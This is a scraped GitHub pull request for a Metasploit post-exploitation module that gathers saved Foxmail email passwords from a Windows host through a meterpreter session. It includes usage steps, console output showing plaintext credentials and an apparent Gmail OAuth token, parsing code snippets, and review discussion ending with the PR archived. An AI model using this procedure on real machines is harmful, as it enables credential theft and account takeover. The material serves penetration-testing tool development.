Gather foxmail password #14218

cn-kali-team · 2020-10-04T09:50:35Z

The module can obtain the login password of Foxmail mail server

You can download and install it on his official website, wikipedia

Verification Steps

Download the latest installer of Foxmail.
Use foxmail to login email server.
Remember to save the account password.
Get a meterpreter session on a Windows host.
Do: run post/windows/gather/credentials/foxmail
If the account file is saved in the system, the email, server, port and plaintext password will be printed.

Options

ACCOUNT_PATH

Specifies the Account directory path for Foxmail

Scenarios

[*] Search account files on C:\Foxmail 7.2\Storage
[+] Parsing configuration file: 'C:\Foxmail 7.2\Storage\kali-team@qq.com\Accounts\Account.rec0', please wait.
Foxmail Password
================
Email                       Server                   Port  SSL    Password
-----                       ------                   ----  ---    --------
kali-team@qq.com            imap.qq.com              993   true   fjcqkkeqbuweddch
kali-team@qq.com            smtp.qq.com              465   true   fjcqkkeqbuweddch
[+] Passwords stored in: /home/kali-team/.msf4/loot/20201004174103_default_10.0.2.15_host.foxmail_pas_205001.txt
[*] Post module execution completed

Specify ** ACCOUNT_PATH

msf6 post(windows/gather/credentials/foxmail) > set account_path "C:\Foxmail 7.2\Storage\"
account_path => C:\Foxmail 7.2\Storage\
msf6 post(windows/gather/credentials/foxmail) > run
[*] Search account files on C:\Foxmail 7.2\Storage\kali-team@qq.com\Accounts
[+] Parsing configuration file: 'C:\Foxmail 7.2\Storage\kali-team@qq.com\Accounts\Account.rec0', please wait.
Foxmail Password
================
Email              Server       Port  SSL   Password
-----              ------       ----  ---   --------
kali-team@qq.com   imap.qq.com  993   true  fjcqkkeqbuweddch
kali-team@qq.com   smtp.qq.com  465   true  fjcqkkeqbuweddch
[+] Passwords stored in: /home/kali-team/.msf4/loot/20201004174452_default_10.0.2.15_host.foxmail_pas_487470.txt
[*] Post module execution completed

documentation/modules/post/windows/gather/credentials/foxmail.md

gwillcox-r7 · 2020-11-04T18:16:21Z

modules/post/windows/gather/credentials/foxmail.rb

+    )
+  end
+
+  def find_string(file, offset, length = 0)


You seem to be doing a lot of stuff here that could possibly be replaced with a simpler regex expression. Is there a reason you can't use regex instead of this function?

gwillcox-r7 · 2020-11-04T18:17:28Z

modules/post/windows/gather/credentials/foxmail.rb

+      while index < file.length
+        if (file[index] && file[index] > "\x20" && file[index] < "\x7f" && file[index] != "\x3d")
+          buffer += file[index]
+          if ['Email', 'IncomingServer', 'OutgoingServer', 'Password'].include?(buffer)
+            email_info[buffer] = find_string(file, index + offset) || nil
+          elsif ['IncomingPort', 'OutgoingPort'].include?(buffer)
+            email_info[buffer] = find_string(file, index + 5, 2) || nil
+          elsif ['InComingSSL', 'OutgoingSSL'].include?(buffer)
+            email_info[buffer] = find_string(file, index + 5, 2) == 1 || false


A lot of this could probably be replaced by regex statements. May be something to consider as it will greatly simplify the logic of this code and help make it easier to maintain.

modules/post/windows/gather/credentials/foxmail.rb

gwillcox-r7 · 2020-11-04T19:30:26Z

It would appear that this module is sort of working but some of the results are...how do I put it....odd? Here is me dumping a login for a test Gmail account using the current module running on a Windows 10 x64 v2004 machine with FoxMail 7.2.19.158 (latest updates).

msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 172.25.56.160:4444
[*] Sending stage (200262 bytes) to 172.25.56.160
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.25.56.160:4444) at 2020-11-04 13:26:53 -0600

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/credentials/foxmail 
msf6 post(windows/gather/credentials/foxmail) > show options

Module options (post/windows/gather/credentials/foxmail):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ACCOUNT_PATH                   no        Specifies the Account directory path for Foxmail
   SESSION                        yes       The session to run this module on.

msf6 post(windows/gather/credentials/foxmail) > set SESSION 1 
SESSION => 1
msf6 post(windows/gather/credentials/foxmail) > run

[*] Gather Foxmail Passwords on DESKTOP-KUO5CML
[*] Search account files on C:\Foxmail 7.2\Storage
[+] Parsing configuration file: 'C:\Foxmail 7.2\Storage\foocarddog@gmail.com\Accounts\Account.rec0', please wait.
Foxmail Password
================

Email                 Server          Port  SSL   Password
-----                 ------          ----  ---   --------
foocarddog@gmail.com  imap.gmail.com  993   true  ya29.A0AfH6SMCdh-s4P-kWae_-fYZHIzzI1U1s_0EP5uFPgP15S81jHmriW1xX8r46Qv-IIIGEtVhwNMRRUYhf2gmo4d_G6I0fxcpIPSocuEFdRKHSGOrMMAdAJkU9lQKQIhIaamUkP9VMSVMonUIrML6AurypNuti17XX19h1M3yUNfI
foocarddog@gmail.com  smtp.gmail.com  465   true  ya29.A0AfH6SMCdh-s4P-kWae_-fYZHIzzI1U1s_0EP5uFPgP15S81jHmriW1xX8r46Qv-IIIGEtVhwNMRRUYhf2gmo4d_G6I0fxcpIPSocuEFdRKHSGOrMMAdAJkU9lQKQIhIaamUkP9VMSVMonUIrML6AurypNuti17XX19h1M3yUNfI

[+] Passwords stored in: /home/gwillcox/.msf4/loot/20201104132733_default_172.25.56.160_host.foxmail_pas_815236.txt
[*] Post module execution completed
msf6 post(windows/gather/credentials/foxmail) >

Not sure what the password field is supposed to be but that sure as heck isn't the password I supplied.

cn-kali-team · 2020-11-06T05:47:31Z

It would appear that this module is sort of working but some of the results are...how do I put it....odd? Here is me dumping a login for a test Gmail account using the current module running on a Windows 10 x64 v2004 machine with FoxMail 7.2.19.158 (latest updates).

msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 172.25.56.160:4444
[*] Sending stage (200262 bytes) to 172.25.56.160
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.25.56.160:4444) at 2020-11-04 13:26:53 -0600

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/credentials/foxmail 
msf6 post(windows/gather/credentials/foxmail) > show options

Module options (post/windows/gather/credentials/foxmail):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ACCOUNT_PATH                   no        Specifies the Account directory path for Foxmail
   SESSION                        yes       The session to run this module on.

msf6 post(windows/gather/credentials/foxmail) > set SESSION 1 
SESSION => 1
msf6 post(windows/gather/credentials/foxmail) > run

[*] Gather Foxmail Passwords on DESKTOP-KUO5CML
[*] Search account files on C:\Foxmail 7.2\Storage
[+] Parsing configuration file: 'C:\Foxmail 7.2\Storage\foocarddog@gmail.com\Accounts\Account.rec0', please wait.
Foxmail Password
================

Email                 Server          Port  SSL   Password
-----                 ------          ----  ---   --------
foocarddog@gmail.com  imap.gmail.com  993   true  ya29.A0AfH6SMCdh-s4P-kWae_-fYZHIzzI1U1s_0EP5uFPgP15S81jHmriW1xX8r46Qv-IIIGEtVhwNMRRUYhf2gmo4d_G6I0fxcpIPSocuEFdRKHSGOrMMAdAJkU9lQKQIhIaamUkP9VMSVMonUIrML6AurypNuti17XX19h1M3yUNfI
foocarddog@gmail.com  smtp.gmail.com  465   true  ya29.A0AfH6SMCdh-s4P-kWae_-fYZHIzzI1U1s_0EP5uFPgP15S81jHmriW1xX8r46Qv-IIIGEtVhwNMRRUYhf2gmo4d_G6I0fxcpIPSocuEFdRKHSGOrMMAdAJkU9lQKQIhIaamUkP9VMSVMonUIrML6AurypNuti17XX19h1M3yUNfI

[+] Passwords stored in: /home/gwillcox/.msf4/loot/20201104132733_default_172.25.56.160_host.foxmail_pas_815236.txt
[*] Post module execution completed
msf6 post(windows/gather/credentials/foxmail) >

Not sure what the password field is supposed to be but that sure as heck isn't the password I supplied.

Can share your Account.rec0 Configuration file? my Account.rec0 The file can be decrypted normally

gwillcox-r7 · 2020-11-06T18:28:13Z

@cn-kali-team Sure, here is the ZIP with all of the files from the Accounts directory of the user:

Account.zip

I don't know if the recent versions of FoxMail updated their logic as https://github.com/jacobsoo/FoxmailRecovery notes the code only works for version 6.5 to 7.1.3.52, and the version I tested this on was 7.2.19.158. Were you still able to decrypt the file even on 7.2.19.158?

cn-kali-team · 2020-11-07T07:37:56Z

@cn-kali-team Sure, here is the ZIP with all of the files from the Accounts directory of the user:

Account.zip

I don't know if the recent versions of FoxMail updated their logic as https://github.com/jacobsoo/FoxmailRecovery notes the code only works for version 6.5 to 7.1.3.52, and the version I tested this on was 7.2.19.158. Were you still able to decrypt the file even on 7.2.19.158?

I found that I didn't enter the password when I logged in to Gmail. Maybe Gmail used other ways to verify the account. I found "GmailAccessToken", "GmailAuthCode" and "GmailIDToken" in the configuration file.

Warning!!! Please make sure that you have cancelled the authentication of Foxmail, otherwise your Gmail may be logged in by others.

If you did not revoke Foxmail's authorization, please do so. Your token may have been leaked.
https://developers.google.com/gmail/api/

gwillcox-r7 · 2020-11-08T21:42:24Z

@cn-kali-team The account is a test account, but will remove the token. I would still like to see this case handled so the module will at the very least not return odd data like this and will raise an error stating it found data belonging to some other authentication mechanism but it wasn't able to decode it.

modules/post/windows/gather/credentials/foxmail.rb

gwillcox-r7

New changes look good, though your introduction of the Dir.exist? function clashes with our already built in functions, which should be used instead to ensure we aren't creating multiple custom functions, as this helps reduce complexity regarding code maintenance down the line. Also had a quick question about one of the changes you made to one of the checks, nothing major but just wanted to make sure I understood what the intentions were here.

lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb

gwillcox-r7 · 2020-11-25T21:25:49Z

modules/post/windows/gather/credentials/foxmail.rb

    end
    tbl = []
    print_status("Search account files on #{fpath}")

    # enum session file
    account_paths.each do |file_name|
      file = read_file(file_name) if session.fs.file.exist?(file_name)
-      if file.nil? || file.empty?
+      if file.nil? || file.empty? || file[0, 4] != 'RECF'


All of the changes in this file look good but I was a bit curious as to what this fix was for, do you mind explaining?

This flag ensures that this is a real configuration file, but I can’t find the old version of the installer, maybe this is suitable for the current new version, if it is compatible with other versions, I think this code should be deleted

@cn-kali-team Sorry are you saying you think this should be deleted? I do see this will check and help ensure that the file is correct by ensuring the starting characters match what is expected, which will work on the current version of FoxMail. I will see if this works on older versions.

Also you can find older versions at hxxps://foxmail.en.uptodown.com/windows/versions if you want to test your module against older versions.

Ok so I tested this against a few other versions. Looks like version 6.5 build 023 uses a different file format and saves it into a file under C:\Program Files (x86)\Foxmail\mail\foocarddog@gmail.com\Account.stg.

Also some of the older version 7 ones, when I asked it to install to the C:\FoxMail directory, ended up saving the account info in C:\Foxmail\Data\Accounts\Account.rec0. So this may be something to keep in mind.

That being said all the version 7 installations appear to have a .rec0 file that starts with the RECF signature you mentioned so I think it should be okay to keep that in there if we also update the module documentation to note that this module only works on version 7.x of FoxMail.

So should I add support for older versions? I don't think anyone will use the old version of Foxmail

@cn-kali-team Its fine to only have support for the 7.x versions but you should note this in your module description. Otherwise people may falsely believe that this module works on all versions of FoxMail including versions such as 6.5, which will not be the case.

…ls/dev/msftidy.rb compliant

…here we could end up logging data where we shouldn't and implement some more error handling

modules/post/windows/gather/credentials/foxmail.rb

Co-authored-by: bcoles <bcoles@gmail.com>

modules/post/windows/gather/credentials/foxmail.rb

gwillcox-r7 · 2021-08-26T16:31:40Z

I'm going to attic this for now. The main issue I faced with this is that the software is in Chinese which makes some testing rather hard as there is no equivalent English option to compare the interface with. Additionally, and this is the main blocker, the app appears to be coded in such a way that one can log in with an email and password or an email and an OAuth token, however the application does a really silly thing where both the OAuth token and the password are stored in the same format in the database and since the format of a password could legitimately look the same as an OAuth token there is no way to tell the two apart that I can tell.

Due to these limitations and the fact that this code has not gotten any progress on it for several months now, I'm going to have to close this down and attic it. If we do find a better solution I'm open to reopening this issue but as it stands this PR will need some improvements before I'd feel its of appropriate quality to be merged into the main framework.

github-actions · 2021-08-26T16:32:05Z

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

It doesn't look like there has been any activity on this pull request in a while
We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
Sometimes the implementation isn't quite right and a different approach is necessary.

We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!

cn-kali-team added 2 commits October 4, 2020 16:26

add gather foxmail pasword module

6bc62c1

add doc

f05fda1

gwillcox-r7 added docs module labels Oct 6, 2020

gwillcox-r7 self-assigned this Nov 3, 2020

gwillcox-r7 suggested changes Nov 4, 2020

View reviewed changes

cn-kali-team added 2 commits November 15, 2020 22:07

update documentation

e464b6d

update code

402bc94

gwillcox-r7 reviewed Nov 16, 2020

View reviewed changes

modules/post/windows/gather/credentials/foxmail.rb Outdated Show resolved Hide resolved

cn-kali-team added 4 commits November 22, 2020 11:48

update code

b53f088

update documentation

b70cc85

Add a function to determine whether a folder exists

0342ab2

fix

ab2252f

gwillcox-r7 suggested changes Nov 25, 2020

View reviewed changes

gwillcox-r7 and others added 3 commits November 25, 2020 16:07

Apply the last bit of the documentation fixes and make sure it is too…

fac785a

…ls/dev/msftidy.rb compliant

Fix up more stuff noticed during the review including several cases w…

6212518

…here we could end up logging data where we shouldn't and implement some more error handling

undo

66fc1f7

bcoles reviewed Nov 28, 2020

View reviewed changes

modules/post/windows/gather/credentials/foxmail.rb Outdated Show resolved Hide resolved

Update modules/post/windows/gather/credentials/foxmail.rb

407020e

Co-authored-by: bcoles <bcoles@gmail.com>

gwillcox-r7 suggested changes Dec 1, 2020

View reviewed changes

modules/post/windows/gather/credentials/foxmail.rb Show resolved Hide resolved

Add description only version 7. X is supported

fcea651

gwillcox-r7 closed this Aug 26, 2021

gwillcox-r7 added the attic Older submissions that we still want to work on again label Aug 26, 2021

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Gather foxmail password #14218

Gather foxmail password #14218

cn-kali-team commented Oct 4, 2020

gwillcox-r7 Nov 4, 2020

gwillcox-r7 Nov 4, 2020

gwillcox-r7 commented Nov 4, 2020 •

edited

Loading

cn-kali-team commented Nov 6, 2020

gwillcox-r7 commented Nov 6, 2020 •

edited

Loading

cn-kali-team commented Nov 7, 2020

gwillcox-r7 commented Nov 8, 2020

gwillcox-r7 left a comment

gwillcox-r7 Nov 25, 2020

cn-kali-team Nov 25, 2020

gwillcox-r7 Dec 1, 2020

gwillcox-r7 Dec 1, 2020

cn-kali-team Dec 2, 2020

gwillcox-r7 Dec 2, 2020

gwillcox-r7 commented Aug 26, 2021

github-actions bot commented Aug 26, 2021

Gather foxmail password #14218

Gather foxmail password #14218

Conversation

cn-kali-team commented Oct 4, 2020

Verification Steps

Options

Scenarios

Choose a reason for hiding this comment

Choose a reason for hiding this comment

gwillcox-r7 commented Nov 4, 2020 • edited Loading

cn-kali-team commented Nov 6, 2020

gwillcox-r7 commented Nov 6, 2020 • edited Loading

cn-kali-team commented Nov 7, 2020

gwillcox-r7 commented Nov 8, 2020

gwillcox-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

gwillcox-r7 commented Aug 26, 2021

github-actions bot commented Aug 26, 2021

gwillcox-r7 commented Nov 4, 2020 •

edited

Loading

gwillcox-r7 commented Nov 6, 2020 •

edited

Loading